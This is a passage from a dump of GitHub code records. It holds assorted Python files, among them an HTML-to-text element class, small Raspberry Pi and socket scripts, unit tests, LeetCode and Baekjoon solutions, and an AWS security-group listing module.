git.is_node(\"aaa\")\n","repo_name":"sigiesec/review","sub_path":"tests/test_git.py","file_name":"test_git.py","file_ext":"py","file_size_in_byte":12066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"34"} +{"seq_id":"25175430903","text":"\"\"\"Data structures for handling HTML Elements.\"\"\"\nfrom typing import Tuple\n\nfrom inscriptis.html_properties import Display, HorizontalAlignment, \\\n VerticalAlignment, WhiteSpace\n\n\nclass HtmlElement:\n \"\"\"The HtmlElement class stores properties and metadata of HTML elements.\n\n Attributes:\n - canvas: the canvas to which the HtmlElement writes its content.\n - tag: tag name of the given HtmlElement.\n - prefix: specifies a prefix that to insert before the tag's content.\n - suffix: a suffix to append after the tag's content.\n - display: :class:`~inscriptis.html_properties.Display` strategy used for\n the content.\n - margin_before: vertical margin before the tag's content.\n - margin_after: vertical margin after the tag's content.\n - padding_inline: horizontal padding_inline before the tag's content.\n - whitespace: the :class:`~inscriptis.html_properties.Whitespace` handling\n strategy.\n - limit_whitespace_affixes: limit printing of whitespace affixes to\n elements with `normal` whitespace handling.\n - align: the element's horizontal alignment.\n - valign: the element's vertical alignment.\n - previous_margin_after: the margin after of the previous HtmlElement.\n - annotation: annotations associated with the HtmlElement.\n \"\"\"\n\n __slots__ = ('canvas', 'tag', 'prefix', 'suffix', 'display',\n 'margin_before', 'margin_after', 'padding_inline',\n 'list_bullet', 'whitespace', 'limit_whitespace_affixes',\n 'align', 'valign', 'previous_margin_after', 'annotation')\n\n def __init__(self, tag='default', prefix='', suffix='',\n display: Display = Display.inline,\n margin_before: int = 0,\n margin_after: int = 0,\n padding_inline: int = 0,\n list_bullet: str = '',\n whitespace: WhiteSpace = None,\n limit_whitespace_affixes: bool = False,\n align: HorizontalAlignment = HorizontalAlignment.left,\n valign: VerticalAlignment = VerticalAlignment.middle,\n annotation: Tuple[str] = ()):\n self.canvas = None\n self.tag = tag\n self.prefix = prefix\n self.suffix = suffix\n self.display = display\n self.margin_before = margin_before\n self.margin_after = margin_after\n self.padding_inline = padding_inline\n self.list_bullet = list_bullet\n self.whitespace = whitespace\n self.limit_whitespace_affixes = limit_whitespace_affixes\n self.align = align\n self.valign = valign\n self.previous_margin_after = 0\n self.annotation = annotation\n\n def __copy__(self) -> 'HtmlElement':\n \"\"\"Performance-optimized copy implementation.\"\"\"\n copy = self.__class__.__new__(self.__class__)\n for attr in self.__slots__:\n setattr(copy, attr, getattr(self, attr))\n return copy\n\n def write(self, text: str):\n \"\"\"Write the given HTML text to the element's canvas.\"\"\"\n if not text or self.display == Display.none:\n return\n self.canvas.write(self, ''.join(\n (self.prefix, text, self.suffix)))\n\n def set_canvas(self, canvas) -> 'HtmlElement':\n self.canvas = canvas\n return self\n\n def set_tag(self, tag: str) -> 'HtmlElement':\n self.tag = tag\n return self\n\n def write_verbatim_text(self, text: str):\n \"\"\"Write the given text with `Whitespace.pre` to the canvas.\n\n Args:\n text: the text to write\n \"\"\"\n if not text:\n return\n\n if self.display == Display.block:\n self.canvas.open_block(self)\n\n self.canvas.write(self, text, whitespace=WhiteSpace.pre)\n\n if self.display == Display.block:\n self.canvas.close_block(self)\n\n def get_refined_html_element(self, new: 'HtmlElement') -> 'HtmlElement':\n \"\"\"Compute the new HTML element based on the previous one.\n\n Adaptations:\n margin_top: additional margin required when considering\n margin_bottom of the previous element\n\n Args:\n new: The new HtmlElement to be applied to the current context.\n\n Returns:\n The refined element with the context applied.\n \"\"\"\n new.canvas = self.canvas\n\n # inherit `display:none` attributes and ignore further refinements\n if self.display == Display.none:\n new.display = Display.none\n return new\n\n # no whitespace set => inherit\n new.whitespace = new.whitespace or self.whitespace\n\n # do not display whitespace only affixes in Whitespace.pre areas\n # if `limit_whitespace_affixes` is set.\n if (new.limit_whitespace_affixes\n and self.whitespace == WhiteSpace.pre):\n if new.prefix.isspace():\n new.prefix = ''\n if new.suffix.isspace():\n new.suffix = ''\n\n if new.display == Display.block and self.display == Display.block:\n new.previous_margin_after = self.margin_after\n\n return new\n\n def __str__(self):\n return (\n '<{self.tag} prefix={self.prefix}, suffix={self.suffix}, '\n 'display={self.display}, margin_before={self.margin_before}, '\n 'margin_after={self.margin_after}, '\n 'padding_inline={self.padding_inline}, '\n 'list_bullet={self.list_bullet}, '\n 'whitespace={self.whitespace}, align={self.align}, '\n 'valign={self.valign}, annotation={self.annotation}>'\n ).format(self=self)\n\n __repr__ = __str__\n\n\n\"\"\"\nAn empty default HTML element.\n\"\"\"\nDEFAULT_HTML_ELEMENT = HtmlElement()\n","repo_name":"weblyzard/inscriptis","sub_path":"src/inscriptis/model/html_element.py","file_name":"html_element.py","file_ext":"py","file_size_in_byte":5758,"program_lang":"python","lang":"en","doc_type":"code","stars":195,"dataset":"github-code","pt":"34"} +{"seq_id":"36236519917","text":"import json\nfrom http.server import HTTPServer\nfrom http.server import BaseHTTPRequestHandler\n\nclass class1(BaseHTTPRequestHandler):\n def do_POST(self):\n content_len = int(self.headers.get('Content-Length'))\n post_body = self.rfile.read(content_len)\n \n #受信したデータを表示\n print(post_body)\n\n#PCのIPアドレス\nip = '192.168.3.60'\n\n#使用するポート番号\nport = 8000\n\n#HTTPServerhandle\nserver = HTTPServer((ip, port), class1)\n\ntry:\n while True:\n #サーバーを実行\n server.serve_forever()\n\nexcept KeyboardInterrupt:\n print(\"StopHttpServer\")\n","repo_name":"warwick11/notification","sub_path":"recive.py","file_name":"recive.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"17490289205","text":"from tkinter import *\nimport RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(18, GPIO.OUT)\nGPIO.setup(23, GPIO.OUT)\nGPIO.setup(24, GPIO.OUT)\n\n# Запускаем ШИМ\npwmRed = GPIO.PWM(18, 500)\npwmGreen = GPIO.PWM(23, 500)\npwmBlue = GPIO.PWM(24, 500)\npwmRed.start(100)\npwmGreen.start(100)\npwmBlue.start(100)\n\n\nclass App:\n def __init__(self, master):\n frame = Frame(master)\n frame.pack()\n\n # Создаем надписи и располагаем каждую в своей ячейке сетки.\n Label(frame, text='Red').grid(row=0, column=0)\n Label(frame, text='Green').grid(row=1, column=0)\n Label(frame, text='Blue').grid(row=2, column=0)\n\n # Создаем ползунки и располагаем каждый в своей ячейке сетки.\n scaleRed = Scale(\n frame, from_=0, to=100, orient=HORIZONTAL, command=self.updateRed)\n scaleRed.grid(row=0, column=1)\n\n scaleGreen = Scale(\n frame, from_=0, to=100, orient=HORIZONTAL, command=self.updateGreen)\n scaleGreen.grid(row=1, column=1)\n\n scaleBlue = Scale(\n frame, from_=0, to=100, orient=HORIZONTAL, command=self.updateBlue)\n scaleBlue.grid(row=2, column=1)\n\n def updateRed(self, duty):\n '''Change the led brightness to match the slider.'''\n pwmRed.ChangeDutyCycle(float(duty))\n\n def updateGreen(self, duty):\n '''Change the led brightness to match the slider.'''\n pwmGreen.ChangeDutyCycle(float(duty))\n\n def updateBlue(self, duty):\n '''Change the led brightness to match the slider.'''\n pwmBlue.ChangeDutyCycle(float(duty))\n\n\n# Запускаем GUI, задаем для окна название, размер и положение.\nroot = Tk()\nroot.wm_title('RGB Led Control')\napp = App(root)\nroot.geometry('200x150+0+0')\ntry:\n root.mainloop()\nfinally:\n print('Сброс')\n GPIO.cleanup()\n","repo_name":"ShamaHamilton/make_action","sub_path":"mixing_colors.py","file_name":"mixing_colors.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"41330938844","text":"import unittest\n\nfrom src.models import Player, Computer, Game\nfrom src.game_config import game_moves_map\n\n\nclass TestPlayer(unittest.TestCase):\n name = 'Test'\n\n def test_make_move(self):\n player = Player(self.name)\n player.make_move(0)\n self.assertEqual(0, player.move)\n\n def test_get_move(self):\n player = Player(self.name)\n player.make_move(0)\n self.assertEqual(game_moves_map[0], player.get_move())\n\n def test_set_scored(self):\n player = Player(self.name)\n self.assertEqual(0, player.score)\n player.set_scored()\n self.assertEqual(1, player.score)\n player.set_scored()\n self.assertEqual(2, player.score)\n\n\nclass TestComputer(unittest.TestCase):\n def test_init(self):\n computer = Computer()\n self.assertEqual('Computer', computer.name)\n\n def test_make_move(self):\n computer = Computer()\n computer.make_move()\n self.assertLessEqual(computer.move, 2)\n self.assertGreaterEqual(computer.move, 0)\n\n\nclass TestGame(unittest.TestCase):\n name_a = 'Test_A'\n name_b = 'Test_B'\n rounds = 4\n\n def test_init(self):\n player_a = Player(self.name_a)\n player_b = Player(self.name_b)\n game = Game(self.rounds, player_a, player_b)\n\n self.assertEqual(self.rounds, game.rounds)\n self.assertEqual(0, game.draws)\n\n def test_play_round(self):\n player_a = Player(self.name_a)\n player_b = Player(self.name_b)\n game = Game(self.rounds, player_a, player_b)\n\n # Draw case\n player_a.make_move(0)\n player_b.make_move(0)\n winner = game.play_round()\n self.assertIsNone(winner)\n self.assertEqual(0, player_a.score)\n self.assertEqual(0, player_b.score)\n self.assertEqual(1, game.draws)\n\n # Player A wins\n player_a.make_move(1)\n player_b.make_move(0)\n winner = game.play_round()\n self.assertIsInstance(winner, Player)\n self.assertEqual(self.name_a, winner.name)\n self.assertEqual(1, player_a.score)\n self.assertEqual(0, player_b.score)\n self.assertEqual(1, game.draws)\n\n # Player B wins\n player_a.make_move(1)\n player_b.make_move(2)\n winner = game.play_round()\n self.assertIsInstance(winner, Player)\n self.assertEqual(self.name_b, winner.name)\n self.assertEqual(1, player_a.score)\n self.assertEqual(1, player_b.score)\n self.assertEqual(1, game.draws)\n\n def test_get_stats(self):\n player_a = Player(self.name_a)\n player_b = Player(self.name_b)\n game = Game(self.rounds, player_a, player_b)\n\n # Draw case\n player_a.make_move(0)\n player_b.make_move(0)\n game.play_round()\n\n # Player A wins\n player_a.make_move(1)\n player_b.make_move(0)\n game.play_round()\n\n # Player B wins\n player_a.make_move(1)\n player_b.make_move(2)\n game.play_round()\n\n self.assertEqual(f'{self.name_a}:{self.name_b} - 1:1, 1 draw(s)', game.get_stats())\n","repo_name":"DenisMaley/rock-paper-scissors","sub_path":"tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":3098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"41550249205","text":"#### For plotting from reawrd values stored in files\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ny = np.loadtxt(\"test_eval_metric_per_rollout.txt\", unpack=True)\n\ny_new=[y_ for y_ in y if y_!=0]\nx=range(len(y_new))\nprint(x,y_new)\n\nplt.figure(1)\nplt.plot(x,y_new)\nplt.title('Eval metric')\nplt.xlabel('rollouts')\nplt.ylabel('Eval metric per rollout')\nplt.show()\n\n","repo_name":"leopauly/Observation-learning-Real-world","sub_path":"S2l/ECCV/Exp5_striking/plotter_eval_metric.py","file_name":"plotter_eval_metric.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"15791000060","text":"\nimport sys\nimport numpy as np\nimport operator\nimport pandas as pd\nfrom lru import LRU\nimport ConfigParser\nimport logging\nimport tarfile\nimport datetime\nfrom os import listdir\nfrom os.path import isfile,join\nimport os\n##############################################################\n\n##Configurations\n#\noFile=\"fridgeLogs\"\npath=\"/mnt/raid0/traces/twosigma/perdayfiles\"\nlogFilePath=\"home/tsfridgeprod/log-snapshot/cache.log1\"\ntarFileName=\"fridgeLogs.tar.gz\"\n\n## Check file is a good file or not\n#\ndef isGoodFile(vmDir,tFile,fd):\n\tfor line in tFile:\n\t\tline=line.replace(\"\\n\",\"\")\n\t\t# Remove below line\n#\t\tline=\"{\"+line+\"}\"\n\t\tlineDict=eval(line)\n\t\tfullUrl = lineDict['url']\n\t\tif fullUrl == '/':\n\t\t\t# Not a good File\t\n\t\t\tbreak\n\t\telif lineDict['cache-reason'] != \"ok\":\n\t\t\tbreak \n\t\telse:\n\t\t\tif lineDict['method'] == \"GET\" and \"read\" in lineDict['url']:\n\t\t\t\tfd.write(vmDir+','+line+\"\\n\")\n\n\n# Extract cache-log files\ndef getCacheLogFile(path):\n\tfd=open(oFile,\"w\")\n\tfor vmDir in listdir(path):\n\t\ttry:\n\t\t\ttDir= tarfile.open( join(join(path,vmDir),\"logs.tar.gz\"),'r:gz')\n\t\t\tfor tFile in tDir:\n\t\t\t\tif tFile.name == logFilePath:\n\t\t\t\t\tlFile = tDir.extractfile(tFile)\n\t\t\t\t\tisGoodFile(vmDir,lFile,fd)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\n\t\texcept:\n\t\t\tcontinue\n\n\tfd.close()\n\n\n\ndef archieveCacheLogFile(output_filename,source_dir):\n with tarfile.open(output_filename, \"w:gz\") as tar:\n tar.add(source_dir, arcname=os.path.basename(source_dir))\n\n\nif __name__ == \"__main__\":\n\n\tgetCacheLogFile(path)\n\tarchieveCacheLogFile(tarFileName,oFile)\n\t\n","repo_name":"ekaynar/Benchmarks","sub_path":"analysis/fridgeParser.py","file_name":"fridgeParser.py","file_ext":"py","file_size_in_byte":1507,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"5210705517","text":"\"\"\"\n\n\"\"\"\n\nimport collections\n\ndef check_occurence(string):\n if len(string) == 0:\n return \"NO\"\n if len(string) == 1:\n return \"YES\"\n count = collections.Counter(string)\n if len(count) == 1:\n return \"YES\"\n if len(count) == 2:\n return \"YES\"\n if len(count) > 2:\n return \"NO\"\n\nif __name__ == \"__main__\":\n T = int(input())\n for _ in range(T):\n string = input()\n print(check_occurence(string))","repo_name":"Harish-Muralidhar/Benchmark_Test_To_Analyze_Performance_Of_Code_Generating_Foundation_Models","sub_path":"generated_codes/experiment_c/parameter_set_2/single_sample/python_files/45.py","file_name":"45.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"25874217584","text":"import socket\n\nPORT = 5050\nFORMAT = \"utf-8\"\nDISCONNECT_MESSEGE = \"!DISCONNECT\"\nSERVER = \"192.168.56.1\"\nADDR = (SERVER, PORT)\n\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(ADDR)\n\nmsg = client.recv(1024)\nprint(msg.decode(FORMAT))\n","repo_name":"RogersLj/Computer-Networking-A-Top-Down-Approach-Homework","sub_path":"Socket_Programming/Lab1_WebServerLab/part 1 - sending and receiving data/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"30433773094","text":"from pandas import DataFrame, ExcelWriter\r\nimport openpyxl\r\n\r\nclass Pandawriter:\r\n\t\"\"\"\r\n\tClass writer takes care of writing the collected infromation from the scd file into the xls file\r\n\t\"\"\"\r\n\tscd = None\r\n\tlist_of_IEDs = []\r\n\tdatascd = None\r\n\tdataIED = DataFrame()\r\n\tEWriter = None\r\n\r\n\t@staticmethod\r\n\tdef load(scd, list_of_IEDs):\r\n\t\t\"\"\"\r\n\t\tStatic method load accepts the scd content object and list of processed IEDS\r\n\t\t:param scd: scd content processed object to be written\r\n\t\t:param list_of_IEDs: list of processed IEDs to be written\r\n\t\t\"\"\"\r\n\t\tPandawriter.datascd = DataFrame(scd.values, index=[0])\r\n\r\n\t\tPandawriter.list_of_IEDs = list_of_IEDs\r\n\t\tfor IED in list_of_IEDs:\r\n\t\t\tdf = DataFrame(IED.values, index=[0])\r\n\t\t\tPandawriter.dataIED = Pandawriter.dataIED.append(df, ignore_index=True)\r\n\r\n\t@staticmethod\r\n\tdef write(path_file):\r\n\t\t\"\"\"\r\n\t\tMethod creates and ExcelWriter class and then writes the information loaded into the file at path\r\n\r\n\t\t:param path: file path\r\n\t\t\"\"\"\r\n\r\n\t\t# Pandawriter.datascd.to_excel(path_file, sheet_name='SCD META INFO')\r\n\r\n\t\tEWriter = ExcelWriter(path_file, engine='openpyxl')\r\n\t\tworkbook = EWriter.book\r\n\t\t#worksheet = workbook.add.worksheet('FILE INFO')\r\n\t\t#EWriter.sheets['FILE INFO'] = worksheet\r\n\t\tPandawriter.datascd.to_excel(EWriter, sheet_name=\"FILE INFO\", startrow=0, startcol=0)\r\n\r\n\t\tPandawriter.dataIED.to_excel(EWriter, sheet_name=\"FILE INFO\", startrow=5, startcol=0)\r\n\r\n\t\tfor IED in Pandawriter.list_of_IEDs:\r\n\t\t\tDataFrame().to_excel(EWriter, sheet_name=IED.values['name'])\r\n\r\n\t\tEWriter.save()\r\n\r\n\r\n\tdef append_df_to_excel(filename, df, sheet_name='Sheet1', startrow=None,\r\n\t\t\t\t\t\t truncate_sheet=False,\r\n\t\t\t\t\t\t **to_excel_kwargs):\r\n\t\t\"\"\"\r\n\t\tAppend a DataFrame [df] to existing Excel file [filename]\r\n\t\tinto [sheet_name] Sheet.\r\n\t\tIf [filename] doesn't exist, then this function will create it.\r\n\r\n\t\tParameters:\r\n\t\t filename : File path or existing ExcelWriter\r\n\t\t\t\t\t (Example: '/path/to/file.xlsx')\r\n\t\t df : dataframe to save to workbook\r\n\t\t sheet_name : Name of sheet which will contain DataFrame.\r\n\t\t\t\t\t (default: 'Sheet1')\r\n\t\t startrow : upper left cell row to dump data frame.\r\n\t\t\t\t\t Per default (startrow=None) calculate the last row\r\n\t\t\t\t\t in the existing DF and write to the next row...\r\n\t\t truncate_sheet : truncate (remove and recreate) [sheet_name]\r\n\t\t\t\t\t\t before writing DataFrame to Excel file\r\n\t\t to_excel_kwargs : arguments which will be passed to `DataFrame.to_excel()`\r\n\t\t\t\t\t\t\t[can be dictionary]\r\n\r\n\t\tReturns: None\r\n\t\t\"\"\"\r\n\t\tfrom openpyxl import load_workbook\r\n\r\n\t\timport pandas as pd\r\n\r\n\t\t# ignore [engine] parameter if it was passed\r\n\t\tif 'engine' in to_excel_kwargs:\r\n\t\t\tto_excel_kwargs.pop('engine')\r\n\r\n\t\twriter = pd.ExcelWriter(filename, engine='openpyxl')\r\n\r\n\t\t# Python 2.x: define [FileNotFoundError] exception if it doesn't exist\r\n\t\ttry:\r\n\t\t\tFileNotFoundError\r\n\t\texcept NameError:\r\n\t\t\tFileNotFoundError = IOError\r\n\r\n\t\ttry:\r\n\t\t\t# try to open an existing workbook\r\n\t\t\twriter.book = load_workbook(filename)\r\n\r\n\t\t\t# get the last row in the existing Excel sheet\r\n\t\t\t# if it was not specified explicitly\r\n\t\t\tif startrow is None and sheet_name in writer.book.sheetnames:\r\n\t\t\t\tstartrow = writer.book[sheet_name].max_row\r\n\r\n\t\t\t# truncate sheet\r\n\t\t\tif truncate_sheet and sheet_name in writer.book.sheetnames:\r\n\t\t\t\t# index of [sheet_name] sheet\r\n\t\t\t\tidx = writer.book.sheetnames.index(sheet_name)\r\n\t\t\t\t# remove [sheet_name]\r\n\t\t\t\twriter.book.remove(writer.book.worksheets[idx])\r\n\t\t\t\t# create an empty sheet [sheet_name] using old index\r\n\t\t\t\twriter.book.create_sheet(sheet_name, idx)\r\n\r\n\t\t\t# copy existing sheets\r\n\t\t\twriter.sheets = {ws.title: ws for ws in writer.book.worksheets}\r\n\t\texcept FileNotFoundError:\r\n\t\t\t# file does not exist yet, we will create it\r\n\t\t\tpass\r\n\r\n\t\tif startrow is None:\r\n\t\t\tstartrow = 0\r\n\r\n\t\t# write out the new sheet\r\n\t\tdf.to_excel(writer, sheet_name, startrow=startrow, **to_excel_kwargs)\r\n\r\n\t\t# save the workbook\r\n\t\twriter.save()","repo_name":"SpaceZZ/SCDReader","sub_path":"writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"71844774817","text":"# Given a singly linked list where elements are sorted in ascending order, convert it to a height balanced BST.\n#\n# For this problem, a height-balanced binary tree is defined as a binary tree\n# in which the depth of the two subtrees of every node never differ by more than 1.\n#\n# Example:\n# Given the sorted linked list: [-10,-3,0,5,9],\n# One possible answer is: [0,-3,9,-10,null,5], which represents the following height balanced BST:\n#\n# 0\n# / \\\n# -3 9\n# / /\n# -10 5\n\n\n# Definition for singly-linked list.\nclass ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def sortedListToBST(self, head):\n array = self.convert_list_to_array(head)\n return self.convert_array_to_bst(array)\n\n def convert_list_to_array(self, head):\n res = []\n while head:\n res.append(head.val)\n head = head.next\n return res\n\n def convert_array_to_bst(self, xs):\n if not xs:\n return None\n\n root_index = int(len(xs) / 2)\n root = TreeNode(xs[root_index])\n root.left = self.convert_array_to_bst(xs[:root_index])\n root.right = self.convert_array_to_bst(xs[root_index+1:])\n\n return root\n\n\n\n\n\n","repo_name":"evanwangxx/leetcode","sub_path":"python/109. Convert Sorted List to Binary Search Tree.py","file_name":"109. Convert Sorted List to Binary Search Tree.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"40023588123","text":"\"\"\" Panoptes - AWS - Attached\n\nFunctions responsible for listing and grouping all attached security\ngroups within AWS resources.\n\"\"\"\n\nimport concurrent.futures\nimport boto3\nimport panoptes\n\n\ndef list_all_attached_secgroups(session: boto3.session.Session) -> list:\n \"\"\"\n Lists and groups all attached security groups within AWS resources\n \"\"\"\n all_attached_groups = []\n boto_clients = panoptes.aws.authentication.get_boto_clients(session)\n\n services_with_security_groups = [\n (list_ec2_attached_secgroups, boto_clients['ec2']),\n (list_eni_attached_secgroups, boto_clients['ec2']),\n (list_rds_attached_secgroups, boto_clients['rds']),\n (list_elb_attached_secgroups, boto_clients['elb']),\n (list_elbv2_attached_secgroups, boto_clients['elbv2']),\n (list_lambda_attached_secgroups, boto_clients['lambda']),\n (list_elasticache_attached_secgroups, boto_clients['elasticache']),\n (list_ecs_attached_secgroups, boto_clients['ecs']),\n ]\n\n with concurrent.futures.ThreadPoolExecutor() as executor:\n running_workers = []\n for list_attached_function in services_with_security_groups:\n running_workers.append(executor.submit(*list_attached_function))\n\n for future in concurrent.futures.as_completed(running_workers):\n all_attached_groups += future.result()\n return all_attached_groups\n\n\ndef list_ec2_attached_secgroups(ec2) -> list:\n \"\"\"\n List security groups attached to EC2 instances\n \"\"\"\n ec2_attached_groups = []\n boto_ec2_instances = ec2.describe_instances()\n for instance_obj in boto_ec2_instances['Reservations']:\n for instance in instance_obj['Instances']:\n for security_group in instance['SecurityGroups']:\n ec2_attached_groups.append(\n security_group['GroupId']\n )\n return ec2_attached_groups\n\n\ndef list_eni_attached_secgroups(ec2) -> list:\n \"\"\"\n List security groups attached to Elastic Network Interfaces\n \"\"\"\n network_interfaces = []\n next_token = None\n has_next = True\n while has_next:\n args = {'MaxResults': 1000}\n if next_token is not None:\n args['NextToken'] = next_token\n\n network_interfaces_result = ec2.describe_network_interfaces(**args)\n\n network_interfaces += network_interfaces_result['NetworkInterfaces']\n\n next_token = network_interfaces_result.get('NextToken')\n has_next = next_token is not None\n\n eni_attached_groups = [security_group['GroupId']\n for network_interface in network_interfaces\n for security_group in network_interface['Groups']]\n\n return eni_attached_groups\n\n\ndef list_rds_attached_secgroups(rds) -> list:\n \"\"\"\n List security groups attached to RDS instances\n \"\"\"\n rds_attached_groups = []\n boto_rds_instances = rds.describe_db_instances()\n for db_instance_obj in boto_rds_instances['DBInstances']:\n for security_group in db_instance_obj['VpcSecurityGroups']:\n rds_attached_groups.append(\n security_group['VpcSecurityGroupId']\n )\n return rds_attached_groups\n\n\ndef list_elb_attached_secgroups(elb) -> list:\n \"\"\"\n List security groups attached to Elastic Load Balancers\n \"\"\"\n elb_attached_groups = []\n boto_load_balancers = elb.describe_load_balancers()\n for elb_obj in boto_load_balancers['LoadBalancerDescriptions']:\n for security_group in elb_obj['SecurityGroups']:\n elb_attached_groups.append(\n security_group\n )\n return elb_attached_groups\n\n\ndef list_elbv2_attached_secgroups(elbv2) -> list:\n \"\"\"\n List security groups attached to Elastic Load Balancers V2\n \"\"\"\n elbv2_attached_groups = []\n boto_load_balancers = elbv2.describe_load_balancers()\n for elbv2_obj in boto_load_balancers['LoadBalancers']:\n if 'SecurityGroups' in elbv2_obj:\n for security_group in elbv2_obj['SecurityGroups']:\n elbv2_attached_groups.append(\n security_group\n )\n return elbv2_attached_groups\n\n\ndef list_lambda_attached_secgroups(lambda_aws) -> list:\n \"\"\"\n List security groups attached to Lambda functions\n \"\"\"\n lambda_attached_groups = []\n boto_lambda = lambda_aws.list_functions()\n for lambda_obj in boto_lambda['Functions']:\n if 'VpcConfig' in lambda_obj:\n for security_group in (\n lambda_obj['VpcConfig']['SecurityGroupIds']\n ):\n lambda_attached_groups.append(\n security_group\n )\n return lambda_attached_groups\n\n\ndef list_elasticache_attached_secgroups(ecache) -> list:\n \"\"\"\n List security groups attached to ElastiCache\n \"\"\"\n elasticache_attached_groups = []\n boto_elasticache = ecache.describe_cache_clusters()\n for elasticache_obj in boto_elasticache['CacheClusters']:\n for security_group in elasticache_obj['CacheSecurityGroups']:\n elasticache_attached_groups.append(\n security_group['CacheSecurityGroupName']\n )\n if 'SecurityGroups' in elasticache_obj:\n for security_group in elasticache_obj['SecurityGroups']:\n elasticache_attached_groups.append(\n security_group['SecurityGroupId']\n )\n try:\n boto_elasticache = ecache.describe_cache_security_groups()\n for elasticache_obj in boto_elasticache['CacheSecurityGroups']:\n for security_group in elasticache_obj['EC2SecurityGroups']:\n elasticache_attached_groups.append(\n security_group['EC2SecurityGroupName']\n )\n except Exception as e:\n pass\n return elasticache_attached_groups\n\n\ndef list_ecs_attached_secgroups(ecs) -> list:\n \"\"\"\n List security groups attached to ECS Services\n \"\"\"\n ecs_attached_groups = []\n\n ecs_clusters = [\n ecs_clusters for ecs_clusters in ecs.list_clusters()['clusterArns']\n ]\n\n ecs_cluster_services = []\n for cluster in ecs_clusters:\n boto_services = ecs.list_services(cluster=cluster)\n if boto_services['serviceArns']:\n ecs_cluster_services.append(\n {\n 'ClusterName': cluster,\n 'Services': boto_services['serviceArns'],\n }\n )\n\n ECS_SERVICE_API_LIMIT = 10\n for cluster in ecs_cluster_services:\n for i in range(0, len(cluster['Services']), ECS_SERVICE_API_LIMIT):\n boto_ecs = ecs.describe_services(\n cluster=cluster['ClusterName'],\n services=cluster['Services'][i:i+ECS_SERVICE_API_LIMIT]\n )\n for ecs_obj in boto_ecs['services']:\n if 'networkConfiguration' in ecs_obj:\n for security_group in (\n ecs_obj['networkConfiguration']['awsvpcConfiguration']['securityGroups']\n ):\n ecs_attached_groups.append(\n security_group\n )\n return ecs_attached_groups\n","repo_name":"tioxy/panoptes","sub_path":"panoptes/aws/attached.py","file_name":"attached.py","file_ext":"py","file_size_in_byte":7197,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"34"} +{"seq_id":"23526060096","text":"\"\"\" 9020 골드바흐의 추측 \"\"\"\r\n\"\"\" 2보다 큰 모든 짝수는 두 소수의 합으로 나타낼 수 있다는 추측\r\n앞서 푼 것들을 이용하면 시간초과에 걸리므로 소수 찾기부터 에라토스테네스의 체로 변경 \"\"\"\r\n\r\n\r\ndef prime_list(n):\r\n num = [True] * n\r\n\r\n for i in range(2, int(n**0.5) + 1): # 소수는 제곱근까지만 나눠보면 알 수 있음\r\n if num[i] == True:\r\n for j in range(i + i, n, i): # i 이후, i의 배수들은 모두 False\r\n num[j] = False\r\n\r\n return num\r\n\r\n\r\nT = int(input())\r\n\r\nfor i in range(T):\r\n num = int(input())\r\n anw = prime_list(num)\r\n\r\n for j in range(num // 2, 1, -1): # 절반 지점, 큰 수부터 확인\r\n if anw[j] == True and anw[num - j] == True:\r\n print(j, num - j)\r\n break\r\n","repo_name":"Kdelphinus/Python_study","sub_path":"Baekjoon/silver/silver II/9020_Goldbach's_conjecture.py","file_name":"9020_Goldbach's_conjecture.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"9891614994","text":"def coincidence(array = None,al = None):\n if array == None or al == None:\n array = []\n return array\n size = len(array)\n a = []\n for i in range(size):\n if((isinstance(array[i],int) == True or isinstance(array[i],float) == True)):\n if (array[i] <= max(al) and array[i] >= min(al)):\n a.append(array[i]) \n return a\n","repo_name":"provedov/lesson1","sub_path":"task_02.py","file_name":"task_02.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"29243437290","text":"#!/usr/bin/env python\nfrom __future__ import division\n\nimport argparse\nimport datetime\nimport math\nimport os.path\nimport sys\n\nclass Range(object):\n def __init__(self):\n self.ranges = []\n\n def append(self, cp_tuple):\n if len(self.ranges) > 0:\n last = self.ranges[-1]\n if last[1] + 1 == cp_tuple[0]:\n new_tuple = (last[0], cp_tuple[1])\n self.ranges[-1] = new_tuple\n return\n elif last[1] >= cp_tuple[0]:\n new_tuple = (min(last[0], cp_tuple[0]),\n max(last[1], cp_tuple[1]))\n self.ranges[-1] = new_tuple\n return\n self.ranges.append(cp_tuple)\n\n def __iter__(self):\n return iter(self.ranges)\n\n def __str__(self):\n return str(self.ranges)\n\n def __len__(self):\n return len(self.ranges)\n\n def __getitem__(self, key):\n return self.ranges[key]\n\ndef CompressRanges(ranges, right_bits):\n mask = (1 << 